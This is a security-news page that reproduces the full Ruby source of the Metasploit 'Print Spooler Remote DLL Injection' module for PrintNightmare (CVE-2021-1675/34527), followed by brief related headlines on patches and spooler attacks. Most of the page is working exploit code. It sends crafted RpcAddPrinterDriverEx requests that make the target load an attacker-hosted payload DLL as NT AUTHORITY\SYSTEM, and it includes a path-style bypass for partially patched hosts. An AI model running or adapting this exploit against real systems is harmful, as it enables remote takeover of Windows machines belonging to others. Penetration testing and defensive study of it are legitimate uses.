Security
Headlines
HeadlinesLatestCVEs

Headline

Print Spooler Remote DLL Injection

The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN vector which requires the Print Spooler service to be running.

Packet Storm
#vulnerability#web#windows#microsoft#git#rce#samba#auth#ruby
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'windows_error'require 'ruby_smb'require 'ruby_smb/error'class MetasploitModule < Msf::Exploit::Remote  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::DCERPC  include Msf::Exploit::Remote::SMB::Client::Authenticated  include Msf::Exploit::Remote::SMB::Server::Share  include Msf::Exploit::Retry  include Msf::Exploit::EXE  include Msf::Exploit::Deprecated  moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare'  PrintSystem = RubySMB::Dcerpc::PrintSystem  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Print Spooler Remote DLL Injection',        'Description' => %q{          The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted          DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN          vector which requires the Print Spooler service to be running.        },        'Author' => [          'Zhiniang Peng',           # vulnerability discovery / research          'Xuefeng Li',              # vulnerability discovery / research          'Zhipeng Huo',             # vulnerability discovery          'Piotr Madej',             # vulnerability discovery          'Zhang Yunhai',            # vulnerability discovery          'cube0x0',                 # PoC          'Spencer McIntyre',        # metasploit module          'Christophe De La Fuente', # metasploit module co-author        ],        'License' => MSF_LICENSE,        'DefaultOptions' => {          'SRVHOST' => Rex::Socket.source_address        },        'Stance' => Msf::Exploit::Stance::Aggressive,        'Targets' => [          [            'Windows', {              'Platform' => 'win',              'Arch' => [ ARCH_X64, ARCH_X86 ]            },          ],        ],        'DisclosureDate' => '2021-06-08',        'References' => [          ['CVE', '2021-1675'],          ['CVE', '2021-34527'],          ['URL', 'https://github.com/cube0x0/CVE-2021-1675'],          ['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'],          ['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'],          ['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream']        ],        'Notes' => {          'AKA' => [ 'PrintNightmare' ],          'Stability' => [CRASH_SERVICE_DOWN],          'Reliability' => [UNRELIABLE_SESSION],          'SideEffects' => [            ARTIFACTS_ON_DISK # the dll will be copied to the remote server          ]        }      )    )    register_advanced_options(      [        OptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ])      ]    )    deregister_options('AutoCheck')  end  def check    begin      connect(backend: :ruby_smb)    rescue Rex::ConnectionError      return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')    end    begin      smb_login    rescue Rex::Proto::SMB::Exceptions::LoginError      return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')    end    begin      dcerpc_bind_spoolss    rescue RubySMB::Error::UnexpectedStatusCode => e      nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first      if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND        print_error("The 'Print Spooler' service is disabled.")      end      return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")    end    @target_arch = dcerpc_getarch    # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43    if @target_arch == ARCH_X64      @environment = 'Windows x64'    elsif @target_arch == ARCH_X86      @environment = 'Windows NT x86'    else      return Exploit::CheckCode::Detected('Successfully bound to the remote service.')    end    print_status("Target environment: Windows v#{simple.client.os_version} (#{@target_arch})")    print_status('Enumerating the installed printer drivers...')    drivers = enum_printer_drivers(@environment)    @driver_path = "#{drivers.driver_path.rpartition('\\').first}\\UNIDRV.DLL"    vprint_status("Using driver path: #{@driver_path}")    print_status('Retrieving the path of the printer driver directory...')    @config_directory = get_printer_driver_directory(@environment)    vprint_status("Using driver directory: #{@config_directory}") unless @config_directory.nil?    container = driver_container(      p_config_file: 'C:\\Windows\\System32\\kernel32.dll',      p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"    )    case add_printer_driver_ex(container)    when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code      return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')    when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND      return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')    when ::WindowsError::Win32::ERROR_BAD_NET_NAME      return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')    when ::WindowsError::Win32::ERROR_ACCESS_DENIED      return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')    end    Exploit::CheckCode::Detected('Successfully bound to the remote service.')  end  def run    fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64    fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?    fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?    super  end  def setup    if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0      fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')    end    super  end  def start_service    file_name << '.dll'    self.file_contents = generate_payload_dll    super  end  def primer    dll_path = unc    if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/      # targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass      # otherwise the operation will fail with ERROR_INVALID_PARAMETER      dll_path = "\\??\\UNC\\#{Regexp.last_match(1)}\\#{Regexp.last_match(2)}"    end    vprint_status("Using DLL path: #{dll_path}")    filename = dll_path.rpartition('\\').last    container = driver_container(p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: dll_path)    3.times do      add_printer_driver_ex(container)    end    1.upto(3) do |directory|      container.driver_info.p_config_file.assign("#{@config_directory}\\3\\old\\#{directory}\\#{filename}")      break if add_printer_driver_ex(container).nil?    end    cleanup_service  end  def driver_container(**kwargs)    PrintSystem::DriverContainer.new(      level: 2,      tag: 2,      driver_info: PrintSystem::DriverInfo2.new(        c_version: 3,        p_name_ref_id: 0x00020000,        p_environment_ref_id: 0x00020004,        p_driver_path_ref_id: 0x00020008,        p_data_file_ref_id: 0x0002000c,        p_config_file_ref_id: 0x00020010,        # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913        p_name: "#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}",        p_environment: @environment,        p_driver_path: @driver_path,        **kwargs      )    )  end  def dcerpc_bind_spoolss    handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\spoolss'])    vprint_status("Binding to #{handle} ...")    dcerpc_bind(handle)    vprint_status("Bound to #{handle} ...")  end  def enum_printer_drivers(environment)    response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)    response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)    fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length    DriverInfo2.read(response.p_drivers.map(&:chr).join)  end  def get_printer_driver_directory(environment)    response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)    response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)    fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length    RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')  end  def add_printer_driver_ex(container)    flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES    begin      response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags)    rescue RubySMB::Error::UnexpectedStatusCode => e      nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first      message = "Error #{nt_status.name} (#{nt_status.description})"      if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN        # STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected        print_status('The named pipe connection was broken, reconnecting...')        reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do          dcerpc_bind_spoolss        rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e          false        else          true        end        unless reconnected          vprint_status('Failed to reconnect to the named pipe.')          return nil        end        print_status('Successfully reconnected to the named pipe.')        retry      else        print_error(message)      end      return nt_status    end    error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first    message = "RpcAddPrinterDriverEx response #{response.error_status}"    message << " #{error.name} (#{error.description})" unless error.nil?    vprint_status(message)    error  end  def rprn_call(name, **kwargs)    request = PrintSystem.const_get("#{name}Request").new(**kwargs)    begin      raw_response = dcerpc.call(request.opnum, request.to_binary_s)    rescue Rex::Proto::DCERPC::Exceptions::Fault => e      fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).")    end    PrintSystem.const_get("#{name}Response").read(raw_response)  end  class DriverInfo2Header < BinData::Record    endian :little    uint32     :c_version    uint32     :name_offset    uint32     :environment_offset    uint32     :driver_path_offset    uint32     :data_file_offset    uint32     :config_file_offset  end  # this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2  # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030  DriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do    def self.read(data)      header = DriverInfo2Header.read(data)      new(        header,        RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'),        RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'),        RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'),        RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'),        RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT')      )    end  endend

Related news

CVE-2023-33953: Security Bulletins

gRPC contains a vulnerability that allows hpack table accounting errors could lead to unwanted disconnects between clients and servers in exceptional cases/ Three vectors were found that allow the following DOS attacks: - Unbounded memory buffering in the HPACK parser - Unbounded CPU consumption in the HPACK parser The unbounded CPU consumption is down to a copy that occurred per-input-block in the parser, and because that could be unbounded due to the memory copy bug we end up with an O(n^2) parsing loop, with n selected by the client. The unbounded memory buffering bugs: - The header size limit check was behind the string reading code, so we needed to first buffer up to a 4 gigabyte string before rejecting it as longer than 8 or 16kb. - HPACK varints have an encoding quirk whereby an infinite number of 0’s can be added at the start of an integer. gRPC’s hpack parser needed to read all of them before concluding a parse. - gRPC’s metadata overflow check was performed per frame, so ...

CVE-2022-38765: Canon Medical Software Security Updates

Canon Medical Informatics Vitrea Vision 7.7.76.1 does not adequately enforce access controls. An authenticated user is able to gain unauthorized access to imaging records by tampering with the vitrea-view/studies/search patientId parameter.

FIN7 Cybercrime Group Likely Behind Black Basta Ransomware Campaign

Several artifacts from recent attacks strongly suggest a connection between the two operations, researchers say.

CVE-2022-1941: Security Bulletins  |  Customer Care  |  Google Cloud

A parsing vulnerability for the MessageSet type in the ProtocolBuffers versions prior to and including 3.16.1, 3.17.3, 3.18.2, 3.19.4, 3.20.1 and 3.21.5 for protobuf-cpp, and versions prior to and including 3.16.1, 3.17.3, 3.18.2, 3.19.4, 3.20.1 and 4.21.5 for protobuf-python can lead to out of memory failures. A specially crafted message with multiple key-value per elements creates parsing issues, and can lead to a Denial of Service against services receiving unsanitized input. We recommend upgrading to versions 3.18.3, 3.19.5, 3.20.2, 3.21.6 for protobuf-cpp and 3.18.3, 3.19.5, 3.20.2, 4.21.6 for protobuf-python. Versions for 3.16 and 3.17 are no longer updated.

CVE-2022-32427: Security Bulletin | Printerlogic

PrinterLogic Windows Client through 25.0.0.676 allows attackers to execute directory traversal. Authenticated users with prior knowledge of the driver filename could exploit this to escalate privileges or distribute malicious content.

Microsoft Issues Fixes for 84 Vulnerabilities: Here's What to Patch Now

July's security update included fixes for one actively exploited flaw, more than 30 bugs in Azure Site Recovery, and four privilege escalation bugs in Windows Print Spooler.

Researchers Share Techniques to Uncover Anonymized Ransomware Sites on Dark Web

Cybersecurity researchers have detailed the various measures ransomware actors have taken to obscure their true identity online as well as the hosting location of their web server infrastructure. "Most ransomware operators use hosting providers outside their country of origin (such as Sweden, Germany, and Singapore) to host their ransomware operations sites," Cisco Talos researcher Paul Eubanks

Cybercriminals Are Increasingly Exploiting Vulnerabilities in Windows Print Spooler

Kaspersky researchers discovered that cybercriminals made approximately 65,000 attacks between July 2021 and April 2022.

Cybercriminals Are Increasingly Exploiting Vulnerabilities in Windows Print Spooler

Kaspersky researchers discovered that cybercriminals made approximately 65,000 attacks between July 2021 and April 2022.

Clarified Guidance for CVE-2021-34527 Windows Print Spooler Vulnerability

On Tuesday July 6, 2021, Microsoft issued CVE-2021-34527 regarding a Windows Print Spooler vulnerability. Updates were released on July 6 and 7 which addressed the vulnerability for all supported Windows versions. We encourage customers to update as soon as possible. CVE-2021-34527 - Windows Print Spooler Remote Code Execution Vulnerability. Following the out of band release (OOB) we investigated claims regarding the effectiveness of the security update and questions around the suggested mitigations.

Out-of-Band (OOB) Security Update available for CVE-2021-34527

Today Microsoft released an Out-of-Band (OOB) security update for CVE-2021-34527, which is being discussed externally as PrintNightmare. This is a cumulative update release, so it contains all previous security fixes and should be applied immediately to fully protect your systems. The fix that we released today fully addresses the public vulnerability, and it also includes a new feature that allows customers to implement stronger protections.

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution